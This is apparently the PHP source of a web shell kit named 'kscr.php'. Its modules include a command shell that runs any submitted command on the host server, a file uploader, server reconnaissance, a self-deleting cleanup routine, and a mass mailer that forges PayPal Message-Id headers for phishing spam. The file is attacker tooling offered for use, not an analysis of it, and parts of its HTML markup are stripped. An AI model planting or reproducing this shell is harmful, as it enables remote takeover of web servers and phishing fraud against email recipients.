'; $SiteHeader = '
Home
'; $GraphicFooter = '

[ProxyDetect] | [FileUploader] | [PHPShell] | [PortCheck] | [MassMailer] | [Delete Me]
Copyright © 2007 Shaun$$
'; $Slash = '/'; if ($_SERVER['QUERY_STRING'] == '') header("Location: http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?MainPage"); if(isset($_GET['PHPShell'])) { $passwd = array(); $aliases = array(); session_start(); if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { $_SESSION['cwd'] = getcwd(); $_SESSION['history'] = array(); $_SESSION['output'] = ''; } if (!empty($_REQUEST['command'])) { if (get_magic_quotes_gpc()) { $_REQUEST['command'] = stripslashes($_REQUEST['command']); } if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) unset($_SESSION['history'][$i]); array_unshift($_SESSION['history'], $_REQUEST['command']); $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { $_SESSION['cwd'] = dirname(__FILE__); } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { if ($regs[1][0] == '/') { $new_dir = $regs[1]; } else { $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; } else { $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; } } else { chdir($_SESSION['cwd']); $length = strcspn($_REQUEST['command'], " \t"); $token = substr($_REQUEST['command'], 0, $length); if (isset($aliases[$token])) $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); $p = proc_open($_REQUEST['command'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while (!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } while (!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } } if (empty($_SESSION['history'])) { $js_command_hist = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; } echo ''; echo ''.$Title.' PHPShell'; echo $GraphicHeader; ?>
Current Directory:
$  
 
Rows:
'.$Title.' Uploader'; echo $GraphicHeader; echo $SiteHeader; if(isset($_POST['upl_files'])){ echo '
Uploaded Files:
'; //print_r($_FILES['file_n']); $up_mas = $_FILES['file_n']; $mas_name = array(); $mas_tmp = array(); for($i=0; $i<10; $i++){ if(!empty($up_mas['name'][$i])){ $j = count($mas_name); $mas_name[$j] = $up_mas['name'][$i]; $mas_tmp[$j] = $up_mas['tmp_name'][$i]; } } for($i=0; $i'.$mas_name[$i].', '; } } } echo "
"; ?>

Upload Files to:

'; ?>
'; } ?>
 
'.$Title.''; echo $GraphicHeader; echo $SiteHeader; print "
"; print((@ini_get('safe_mode'))?("Safe Mode: ON"):("Safe Mode: OFF")); print " | "; print "PHP version: ".@phpversion().""; print " | "; print((@function_exists('curl_version'))?("cURL: ON"):("cURL: OFF")); print " | "; if(@function_exists('mysql_connect')){ echo "MySQL: ON"; } else { echo "MySQL: OFF"; } print " | "; if(@function_exists('mssql_connect')){ echo "MSSQL: ON"; } else { echo "MSSQL: OFF"; } print " | "; if(@function_exists('pg_connect')){ echo "PostgreSQL: ON"; } else { echo "PostgreSQL: OFF";} print " | "; if(@function_exists('ocilogon')){ echo "Oracle: ON"; } else { echo "Oracle: OFF"; } print "
"; echo<<
MainPageGraphic; echo $GraphicFooter; } if(isset($_GET['PortCheck'])) { echo ''.$Title.' PortCheck'; echo $GraphicHeader; echo $SiteHeader; echo "
"; echo "
Under Reconstruction
"; echo "
"; echo $GraphicFooter; } if(isset($_GET['Mailer'])) { echo ''.$Title.' Mailer'; echo $GraphicHeader; echo $SiteHeader; if(!$action) $action = ""; if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?>
Your Email: Your Name:
Reply-To: Attach File:
Subject:
Letter:Recipients:
Plain HTML
Please complete all fields before sending your message.
'; echo $GraphicFooter; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); If ($file_name){ @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server"); $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } echo '
'; $messid = "1140150615.28818"; for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending: [ $to ] "; flush(); $header = "From: $realname <$from>\r\n"; $header .= "Reply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Message-Id:<$messid@paypal.com>\r\n"; $header .= "Return-Path: \r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "........Success!
"; flush(); } } echo "
"; } ?> '.$Title.' DeleteMe'; echo $GraphicHeader; echo $SiteHeader; $del = $_GET['del']; if($del=="TRUE"){ $url = "http://" .$_SERVER['HTTP_HOST']. "/"; print ""; unlink('kscr.php'); } ?> '.$Title.' ProxyDetect'; ?>
Your IP Address:

".$ip." (".$host.")".$viaproxy."
"; ?>

Your HTTP Headers:

HTTP_CONNECTION: ".$_SERVER['HTTP_CONNECTION']."
"; if(!empty($_SERVER['HTTP_KEEP_ALIVE'])) echo "
  • HTTP_KEEP_ALIVE: ".$_SERVER['HTTP_KEEP_ALIVE']."
    "; if(!empty($_SERVER['HTTP_ACCEPT'])) echo "
  • HTTP_ACCEPT: ".$_SERVER['HTTP_ACCEPT']."
    "; if(!empty($_SERVER['HTTP_ACCEPT_CHARSET'])) echo "
  • HTTP_ACCEPT_CHARSET: ".$_SERVER['HTTP_ACCEPT_CHARSET']."
    "; if(!empty($_SERVER['HTTP_ACCEPT_ENCODING'])) echo "
  • HTTP_ACCEPT_ENCODING: ".$_SERVER['HTTP_ACCEPT_ENCODING']."
    "; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) echo "
  • HTTP_ACCEPT_LANGUAGE: ".$_SERVER['HTTP_ACCEPT_LANGUAGE']."
    "; if(!empty($_SERVER['HTTP_HOST'])) echo "
  • HTTP_HOST: ".$_SERVER['HTTP_HOST']."
    "; if(!empty($_SERVER['HTTP_USER_AGENT'])) echo "
  • HTTP_USER_AGENT: ".$_SERVER['HTTP_USER_AGENT']."
    "; if($proxy) echo "
  • HTTP_X_FORWARDED_FOR: ".$_SERVER['HTTP_X_FORWARDED_FOR']."
    "; if (($proxy) && (!empty($_SERVER['HTTP_VIA']))){ echo "
  • HTTP_VIA: ".$_SERVER['HTTP_VIA']."
    "; } ?>